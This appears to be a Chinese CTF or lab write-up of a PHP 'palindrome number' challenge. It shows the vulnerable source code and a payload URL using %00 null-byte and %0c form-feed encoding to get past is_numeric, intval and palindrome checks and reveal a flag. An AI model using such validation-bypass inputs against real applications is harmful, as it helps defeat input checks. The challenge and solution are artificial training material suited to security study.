MIAO02

源码如下

```php
<?php
$info = "";
$req = [];
$flag="S160M{fl0g_7s_h3r3}";

ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
if(!isset($_GET['number'])){
 header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 269
66dc52e85af40f59b4fe73d8c323a.txt

 die("have a fun!!"); //die — 等同于 exit()
} //number值存在
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组
的简单方式
 foreach($global_var as $key => $value) {
 $value = trim($value); //trim — 去除字符串首尾处的空白字符（或者其他字符）
 is_string($value) && $req[$key] = addslashes($value); // is_string — 检
测变量是否是字符串，addslashes — 使用反斜线引用字符串
 }
} //检测字符串是字符串且无特殊字符

function is_palindrome_number($number) { //回文检测
 $number = strval($number); //strval — 获取变量的字符串值
 $i = 0;
 $j = strlen($number) - 1; //strlen — 获取字符串长度
 while($i < $j) {
 if($number[$i] !== $number[$j]) {
 return false;
 }
 $i++;
 $j--;
 }
 return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字
字符串
{
 $info="sorry, you cann't input a number!"; //不得为数字
```

```php
}
elseif($req['number']!=strval(intval($req['number']))) //intval – 获取变量的整数值
{

 $info = "number must be equal to it's integer!! "; //不得有小数

}
else
{
 $value1 = intval($req["number"]);
 $value2 = intval(strrev($req["number"])); //strrev 将字符串反转
 if($value1!=$value2){
 $info="no, this is not a palindrome number!";
 }
 else
 {
 if(is_palindrome_number($req["number"])){ // 回文判断
 $info = "nice! {$value1} is a palindrome number!";
 }
 else //还不能是回文
 {
 $info=$flag;
 }
 }
 }
 echo $info;
```

PAYLOAD:

```
http://192.168.126.138/php_bugs/02.php?number=%00%0c191
```

这里使用%00截断以越过前面对数值的检测，然后尝试借助\f来完成空格或者+来绕过最后的回文验证，但是直接输入+会被拿掉，只能使用编码，也就是%0C或者%2B